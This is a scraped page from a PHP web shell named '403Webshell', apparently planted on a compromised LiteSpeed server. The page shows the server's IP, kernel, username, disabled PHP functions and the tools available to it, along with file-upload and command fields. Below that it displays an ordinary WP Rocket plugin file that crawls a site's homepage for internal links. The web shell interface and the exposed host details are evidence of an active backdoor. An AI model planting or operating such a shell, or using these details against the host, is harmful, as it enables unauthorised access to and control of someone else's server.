403Webshell
Server IP : 62.60.133.156  /  Your IP : 216.73.217.51
Web Server : LiteSpeed
System : Linux linux24.centraldnserver.com 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
User : mimradmin ( 1166)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, exec, popen, proc_open
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : OFF |  Pkexec : OFF
Directory :  /home/mimradmin/.trash/wp-content/plugins/wp-rocket/inc/Engine/Preload/Controller/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/mimradmin/.trash/wp-content/plugins/wp-rocket/inc/Engine/Preload/Controller/CrawlHomepage.php
<?php

namespace WP_Rocket\Engine\Preload\Controller;

class CrawlHomepage {

	/**
	 * Crawl the homepage.
	 *
	 * @return array|false
	 */
	public function crawl() {
		$user_agent = 'WP Rocket/Preload';

		/**
		 * Filters the arguments for the partial preload request.
		 *
		 * @param array $args Request arguments.
		 */
		$args = apply_filters(
			'rocket_homepage_preload_url_request_args',
			[
				'timeout'    => 10,
				'user-agent' => $user_agent,
				'sslverify'  => apply_filters( 'https_local_ssl_verify', false ), // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
			]
		);

		$response = wp_remote_get( esc_url_raw( home_url() ), $args );

		if ( is_wp_error( $response ) ) {
			return false;
		}

		$response_code = wp_remote_retrieve_response_code( $response );

		if ( 200 !== $response_code ) {
			return false;
		}

		$content = wp_remote_retrieve_body( $response );

		preg_match_all( '/<a\s+(?:[^>]+?[\s"\']|)href\s*=\s*(["\'])(?<href>[^"\']+)\1/imU', $content, $urls );

		$home_url = home_url();

		$urls = array_map(
			static function ( $url ) use ( $home_url ) {
				if ( wp_parse_url( $url, PHP_URL_HOST ) || strpos( $url, '#' ) !== false ) {
					return $url;
				}
				return trailingslashit( $home_url ) . ltrim( wp_parse_url( $url, PHP_URL_PATH ), '/' );
			},
			$urls['href']
		);

		$urls = array_filter(
			$urls,
			static function ( $url ) use ( $home_url ) {
				return strpos( $url, $home_url ) !== false && strpos( $url, '#' ) === false;
			}
			);

		return array_values( array_unique( $urls ) );
	}
}

Youez - 2016 - github.com/yon3zu